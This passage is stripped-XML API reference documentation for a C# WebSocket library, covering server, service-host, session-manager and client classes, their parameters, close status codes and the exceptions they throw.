the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - A Func<TBehavior> delegate. - - - It invokes the method called for creating - a new session instance for the service. - - - The method must create a new instance of - the specified behavior class and return it. - - - - - The type of the behavior for the service. - - - It must inherit the class. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior and - . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - The type of the behavior for the service. - - - It must inherit the class and - must have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehaviorWithNew> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - - The type of the behavior for the service. - - - It must inherit the class and - must have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Gets the contents of the specified file from the document - folder of the server. - - - - An array of or - if it fails. - - - That array represents the contents of the file. - - - - A that represents a virtual path to - find the file from the document folder. - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Starts receiving incoming requests. - - - This method does nothing if the server has already started or - it is shutting down. - - - - There is no server certificate for secure connections. - - - -or- - - - The underlying has failed to start. - - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - A that represents the status code - indicating the reason for the WebSocket connection close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for - the WebSocket connection close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - One of the enum values. - - - It represents the status code indicating the reason for - the WebSocket connection close. - - - - - A that represents the reason for - the WebSocket connection close. - - - The size must be 123 bytes or less in UTF-8. - - - - The size of is greater than 123 bytes. - - - - is - . - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Exposes the properties used to access the information in a session in a WebSocket service. - - - - - Gets the information in the connection request to the WebSocket service. - - - A that provides the access to the connection request. - - - - - Gets the unique ID of the session. - - - A that represents the unique ID of the session. - - - - - Gets the WebSocket subprotocol used in the session. - - - A that represents the subprotocol if any. - - - - - Gets the time that the session has started. - - - A that represents the time that the session has started. - - - - - Gets the state of the used in the session. - - - One of the enum values, indicates the state of - the used in the session. - - - - - Exposes the methods and properties used to define the behavior of a WebSocket service - provided by the or . - - - The WebSocketBehavior class is an abstract class. - - - - - Initializes a new instance of the class. - - - - - Gets the logging functions. - - - A that provides the logging functions, - or if the WebSocket connection isn't established. - - - - - Gets the access to the sessions in the WebSocket service. - - - A that provides the access to the sessions, - or if the WebSocket connection isn't established. - - - - - Gets the information in a handshake request to the WebSocket service. - - - A instance that provides the access to the handshake request, - or if the WebSocket connection isn't established. - - - - - Gets or sets the delegate called to validate the HTTP cookies included in - a handshake request to the WebSocket service. - - - This delegate is called when the used in a session validates - the handshake request. - - - - A Func<CookieCollection, CookieCollection, bool> delegate that references - the method(s) used to validate the cookies. - - - 1st parameter passed to this delegate contains - the cookies to validate if any. - - - 2nd parameter passed to this delegate receives - the cookies to send to the client. - - - This delegate should return true if the cookies are valid. - - - The default value is , and it does nothing to validate. - - - - - - Gets or sets a value indicating whether the used in a session emits - a event when receives a Ping. - - - true if the emits a event - when receives a Ping; otherwise, false. The default value is false. - - - - - Gets the unique ID of a session. - - - A that represents the unique ID of the session, - or if the WebSocket connection isn't established. - - - - - Gets or sets a value indicating whether the WebSocket service ignores - the Sec-WebSocket-Extensions header included in a handshake request. - - - true if the WebSocket service ignores the extensions requested from - a client; otherwise, false. The default value is false. - - - - - Gets or sets the delegate called to validate the Origin header included in - a handshake request to the WebSocket service. - - - This delegate is called when the used in a session validates - the handshake request. - - - - A Func<string, bool> delegate that references the method(s) used to - validate the origin header. - - - parameter passed to this delegate represents the value of - the origin header to validate if any. - - - This delegate should return true if the origin header is valid. - - - The default value is , and it does nothing to validate. - - - - - - Gets or sets the WebSocket subprotocol used in the WebSocket service. - - - Set operation of this property is available before the WebSocket connection has - been established. - - - - A that represents the subprotocol if any. - The default value is . - - - The value to set must be a token defined in - RFC 2616. - - - - - - Gets the time that a session has started. - - - A that represents the time that the session has started, - or if the WebSocket connection isn't established. - - - - - Gets the state of the used in a session. - - - One of the enum values, indicates the state of - the . - - - - - Calls the method with the specified and - . - - - This method doesn't call the method if is - or empty. - - - A that represents the error message. - - - An instance that represents the cause of the error if any. - - - - - Called when the WebSocket connection used in a session has been closed. - - - A that represents the event data passed to - a event. - - - - - Called when the used in a session gets an error. - - - A that represents the event data passed to - a event. - - - - - Called when the used in a session receives a message. - - - A that represents the event data passed to - a event. - - - - - Called when the WebSocket connection used in a session has been established. - - - - - Sends binary to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - An array of that represents the binary data to send. - - - - - Sends the specified as binary data to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - A that represents the file to send. - - - - - Sends text to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - A that represents the text data to send. - - - - - Sends binary asynchronously to the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - An array of that represents the binary data to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends the specified as binary data asynchronously to - the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A that represents the file to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends text asynchronously to the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A that represents the text data to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends binary data from the specified asynchronously to - the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A from which contains the binary data to send. - - - An that represents the number of bytes to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Provides a WebSocket protocol server. - - - This class can provide multiple WebSocket services. - - - - - Initializes a new instance of the class. - - - The new instance listens for incoming handshake requests on - and port 80. - - - - - Initializes a new instance of the class - with the specified . - - - - The new instance listens for incoming handshake requests on - and . - - - It provides secure connections if is 443. - - - - An that represents the number of the port - on which to listen. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified . - - - - The new instance listens for incoming handshake requests on - the IP address of the host of and - the port of . - - - Either port 80 or 443 is used if includes - no port. Port 443 is used if the scheme of - is wss; otherwise, port 80 is used. - - - The new instance provides secure connections if the scheme of - is wss. - - - - A that represents the WebSocket URL of the server. - - - is . - - - - is an empty string. - - - -or- - - - is invalid. - - - - - - Initializes a new instance of the class - with the specified and . - - - The new instance listens for incoming handshake requests on - and . - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified and . - - - - The new instance listens for incoming handshake requests on - and . - - - It provides secure connections if is 443. - - - - A that represents the local - IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified , , - and . - - - The new instance listens for incoming handshake requests on - and . - - - A that represents the local - IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Gets the IP address of the server. - - - A that represents the local - IP address on which to listen for incoming handshake requests. - - - - - Gets or sets a value indicating whether the server accepts every - handshake request without checking the request URI. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - true if the server accepts every handshake request without - checking the request URI; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the scheme used to authenticate the clients. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - One of the - enum values. - - - It represents the scheme used to authenticate the clients. - - - The default value is - . - - - - - - Gets a value indicating whether the server has started. - - - true if the server has started; otherwise, false. - - - - - Gets a value indicating whether the server provides - secure connections. - - - true if the server provides secure connections; - otherwise, false. - - - - - Gets or sets a value indicating whether the server cleans up - the inactive sessions periodically. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - true if the server cleans up the inactive sessions every - 60 seconds; otherwise, false. - - - The default value is true. - - - - - - Gets the logging function for the server. - - - The default logging level is . - - - A that provides the logging function. - - - - - Gets the port of the server. - - - An that represents the number of the port - on which to listen for incoming handshake requests. - - - - - Gets or sets the realm used for authentication. - - - - "SECRET AREA" is used as the realm if the value is - or an empty string. - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A or by default. - - - That string represents the name of the realm. - - - - - - Gets or sets a value indicating whether the server is allowed to - be bound to an address that is already in use. - - - - You should set this property to true if you would - like to resolve to wait for socket in TIME_WAIT state. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - true if the server is allowed to be bound to an address - that is already in use; otherwise, false. - - - The default value is false. - - - - - - Gets the configuration for secure connections. - - - This configuration will be referenced when attempts to start, - so it must be configured before the start method is called. - - - A that represents - the configuration used to provide secure connections. - - - This instance does not provide secure connections. - - - - - Gets or sets the delegate used to find the credentials - for an identity. - - - - No credentials are found if the method invoked by - the delegate returns or - the value is . - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A Func<, - > delegate or - if not needed. - - - That delegate invokes the method called for finding - the credentials used to authenticate a client. - - - The default value is . - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - A to wait for the response. - - - The default value is the same as 1 second. - - - - The value specified for a set operation is zero or less. - - - - - Gets the management function for the WebSocket services - provided by the server. - - - A that manages - the WebSocket services provided by the server. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - A Func<TBehavior> delegate. - - - It invokes the method called for creating a new session - instance for the service. - - - The method must create a new instance of the specified - behavior class and return it. - - - - - The type of the behavior for the service. - - - It must inherit the class. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior and - . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - The type of the behavior for the service. - - - It must inherit the class and - have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehaviorWithNew> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - - The type of the behavior for the service. - - - It must inherit the class and - have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Starts receiving incoming handshake requests. - - - This method does nothing if the server has already started or - it is shutting down. - - - - There is no server certificate for secure connections. - - - -or- - - - The underlying has failed to start. - - - - - - Stops receiving incoming handshake requests and closes - each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - The underlying has failed to stop. - - - - - Stops receiving incoming handshake requests and closes each - connection with the specified and - . - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The underlying has failed to stop. - - - - - Stops receiving incoming handshake requests and closes each - connection with the specified and - . - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - The underlying has failed to stop. - - - - - Exposes the methods and properties used to access the information in - a WebSocket service provided by the or - . - - - This class is an abstract class. - - - - - Initializes a new instance of the class - with the specified and . - - - A that represents the absolute path to the service. - - - A that represents the logging function for the service. - - - - - Gets the logging function for the service. - - - A that provides the logging function. - - - - - Gets or sets a value indicating whether the service cleans up - the inactive sessions periodically. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - true if the service cleans up the inactive sessions every - 60 seconds; otherwise, false. - - - - - Gets the path to the service. - - - A that represents the absolute path to - the service. - - - - - Gets the management function for the sessions in the service. - - - A that manages the sessions in - the service. - - - - - Gets the of the behavior of the service. - - - A that represents the type of the behavior of - the service. - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Creates a new session for the service. - - - A instance that represents - the new session. - - - - - Provides the management function for the WebSocket services. - - - This class manages the WebSocket services provided by - the or . - - - - - Gets the number of the WebSocket services. - - - An that represents the number of the services. - - - - - Gets the host instances for the WebSocket services. - - - - An IEnumerable<WebSocketServiceHost> instance. - - - It provides an enumerator which supports the iteration over - the collection of the host instances. - - - - - - Gets the host instance for a WebSocket service with - the specified . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - - A instance or - if not found. - - - That host instance provides the function to access - the information in the service. - - - - A that represents an absolute path to - the service to find. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Gets or sets a value indicating whether the inactive sessions in - the WebSocket services are cleaned up periodically. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - true if the inactive sessions are cleaned up every 60 seconds; - otherwise, false. - - - - - Gets the paths for the WebSocket services. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the paths. - - - - - - Gets the total number of the sessions in the WebSocket services. - - - An that represents the total number of - the sessions in the services. - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehavior> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - The type of the behavior for the service. It must inherit - the class and it must have - a public parameterless constructor. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Sends to every client in the WebSocket services. - - - An array of that represents the binary data to send. - - - The current state of the manager is not Start. - - - is . - - - - - Sends to every client in the WebSocket services. - - - A that represents the text data to send. - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends asynchronously to every client in - the WebSocket services. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - - Sends asynchronously to every client in - the WebSocket services. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously to - every client in the WebSocket services. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends a ping to every client in the WebSocket services. - - - - A Dictionary<string, Dictionary<string, bool>>. - - - It represents a collection of pairs of a service path and another - collection of pairs of a session ID and a value indicating whether - a pong has been received from the client within a time. - - - - The current state of the manager is not Start. - - - - - Sends a ping with to every client in - the WebSocket services. - - - - A Dictionary<string, Dictionary<string, bool>>. - - - It represents a collection of pairs of a service path and another - collection of pairs of a session ID and a value indicating whether - a pong has been received from the client within a time. - - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - The current state of the manager is not Start. - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Removes all WebSocket services managed by the manager. - - - A service is stopped with close status 1001 (going away) - if it has already started. - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Tries to get the host instance for a WebSocket service with - the specified . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - true if the service is successfully found; - otherwise, false. - - - A that represents an absolute path to - the service to find. - - - - When this method returns, a - instance or if not found. - - - That host instance provides the function to access - the information in the service. - - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Provides the management function for the sessions in a WebSocket service. - - - This class manages the sessions in a WebSocket service provided by - the or . - - - - - Gets the IDs for the active sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the active sessions. - - - - - - Gets the number of the sessions in the WebSocket service. - - - An that represents the number of the sessions. - - - - - Gets the IDs for the sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the sessions. - - - - - - Gets the IDs for the inactive sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the inactive sessions. - - - - - - Gets the session instance with . - - - - A instance or - if not found. - - - The session instance provides the function to access the information - in the session. - - - - A that represents the ID of the session to find. - - - is . - - - is an empty string. - - - - - Gets or sets a value indicating whether the inactive sessions in - the WebSocket service are cleaned up periodically. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - true if the inactive sessions are cleaned up every 60 seconds; - otherwise, false. - - - - - Gets the session instances in the WebSocket service. - - - - An IEnumerable<IWebSocketSession> instance. - - - It provides an enumerator which supports the iteration over - the collection of the session instances. - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Sends to every client in the WebSocket service. - - - An array of that represents the binary data to send. - - - The current state of the manager is not Start. - - - is . - - - - - Sends to every client in the WebSocket service. - - - A that represents the text data to send. - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from to every client in - the WebSocket service. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends asynchronously to every client in - the WebSocket service. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - - Sends asynchronously to every client in - the WebSocket service. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously to - every client in the WebSocket service. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends a ping to every client in the WebSocket service. - - - - A Dictionary<string, bool>. - - - It represents a collection of pairs of a session ID and - a value indicating whether a pong has been received from - the client within a time. - - - - The current state of the manager is not Start. - - - - - Sends a ping with to every client in - the WebSocket service. - - - - A Dictionary<string, bool>. - - - It represents a collection of pairs of a session ID and - a value indicating whether a pong has been received from - the client within a time. - - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - The current state of the manager is not Start. - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Closes the specified session. - - - A that represents the ID of the session to close. - - - is . - - - is an empty string. - - - The session could not be found. - - - - - Closes the specified session with and - . - - - A that represents the ID of the session to close. - - - - A that represents the status code indicating - the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - is . - - - - is an empty string. - - - -or- - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and there is - . - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - - Closes the specified session with and - . - - - A that represents the ID of the session to close. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - is . - - - - is an empty string. - - - -or- - - - is - . - - - -or- - - - is - and there is - . - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - The size of is greater than 123 bytes. - - - - - Sends a ping to the client using the specified session. - - - true if the send has done with no error and a pong has been - received from the client within a time; otherwise, false. - - - A that represents the ID of the session. - - - is . - - - is an empty string. - - - The session could not be found. - - - - - Sends a ping with to the client using - the specified session. - - - true if the send has done with no error and a pong has been - received from the client within a time; otherwise, false. - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - A that represents the ID of the session. - - - is . - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - The size of is greater than 125 bytes. - - - - - Sends to the client using the specified session. - - - An array of that represents the binary data to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - is an empty string. - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends to the client using the specified session. - - - A that represents the text data to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends the data from to the client using - the specified session. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - A that represents the ID of the session. - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends asynchronously to the client using - the specified session. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - is an empty string. - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends asynchronously to the client using - the specified session. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - could not be UTF-8-encoded. - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Sends the data from asynchronously to - the client using the specified session. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - A that represents the ID of the session. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - The session could not be found. - - - -or- - - - The current state of the WebSocket connection is not Open. - - - - - - Cleans up the inactive sessions in the WebSocket service. - - - - - Tries to get the session instance with . - - - true if the session is successfully found; otherwise, - false. - - - A that represents the ID of the session to find. - - - - When this method returns, a - instance or if not found. - - - The session instance provides the function to access - the information in the session. - - - - is . - - - is an empty string. - - - - - Implements the WebSocket interface. - - - The WebSocket class provides a set of methods and properties for two-way communication using - the WebSocket protocol (RFC 6455). - - - - - Represents the empty array of used internally. - - - - - Represents the length used to determine whether the data should be fragmented in sending. - - - - The data will be fragmented if that length is greater than the value of this field. - - - If you would like to change the value, you must set it to a value between 125 and - Int32.MaxValue - 14 inclusive. - - - - - - Represents the random number generator used internally. - - - - - Initializes a new instance of the class with - and . - - - A that specifies the URL of the WebSocket - server to connect. - - - - An array of that specifies the names of - the subprotocols if necessary. - - - Each value of the array must be a token defined in - - RFC 2616. - - - - is . - - - - is an empty string. - - - -or- - - - is an invalid WebSocket URL string. - - - -or- - - - contains a value that is not a token. - - - -or- - - - contains a value twice. - - - - - - Gets or sets the custom headers - - - - - Gets or sets the compression method used to compress a message. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - One of the enum values. - - - It represents the compression method used to compress a message. - - - The default value is . - - - - The set operation cannot be used by servers. - - - - - Gets the HTTP cookies included in the WebSocket handshake request and response. - - - An - instance that provides an enumerator which supports the iteration over the collection of - the cookies. - - - - - Gets the credentials for the HTTP authentication (Basic/Digest). - - - A that represents the credentials for - the authentication. The default value is . - - - - - Gets or sets a value indicating whether the emits - a event when receives a ping. - - - true if the emits a event - when receives a ping; otherwise, false. The default value is false. - - - - - Gets or sets a value indicating whether the URL redirection for - the handshake request is allowed. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - true if the URL redirection for the handshake request is - allowed; otherwise, false. - - - The default value is false. - - - - The set operation cannot be used by servers. - - - - - Gets the WebSocket extensions selected by the server. - - - A that represents the extensions if any. - The default value is . - - - - - Gets a value indicating whether the WebSocket connection is alive. - - - true if the connection is alive; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secure. - - - true if the connection is secure; otherwise, false. - - - - - Gets the logging functions. - - - The default logging level is . If you would like to change it, - you should set this Log.Level property to any of the enum - values. - - - A that provides the logging functions. - - - - - Gets or sets the value of the HTTP Origin header to send with - the handshake request. - - - - The HTTP Origin header is defined in - - Section 7 of RFC 6454. - - - This instance sends the Origin header if this property has any. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - - A that represents the value of the Origin - header to send. - - - The syntax is <scheme>://<host>[:<port>]. - - - The default value is . - - - - The set operation is not available if this instance is not a client. - - - - The value specified for a set operation is not an absolute URI string. - - - -or- - - - The value specified for a set operation includes the path segments. - - - - - - Gets the WebSocket subprotocol selected by the server. - - - A that represents the subprotocol if any. - The default value is . - - - - - Gets the state of the WebSocket connection. - - - One of the enum values that indicates - the current state of the connection. The default value is - . - - - - - Gets the configuration for secure connection. - - - This configuration will be referenced when attempts to connect, - so it must be configured before any connect method is called. - - - A that represents - the configuration used to establish a secure connection. - - - - This instance is not a client. - - - This instance does not use a secure connection. - - - - - - Gets the WebSocket URL used to connect, or accepted. - - - A that represents the URL used to connect, or accepted. - - - - - Gets or sets the time to wait for the response to the ping or close. - - - The set operation does nothing if the connection has already been - established or it is closing. - - - - A to wait for the response. - - - The default value is the same as 5 seconds if the instance is - a client. - - - - The value specified for a set operation is zero or less. - - - - - Occurs when the WebSocket connection has been closed. - - - - - Occurs when the gets an error. - - - - - Occurs when the receives a message. - - - - - Occurs when the WebSocket connection has been established. - - - - - Accepts the WebSocket handshake request. - - - This method is not available in a client. - - 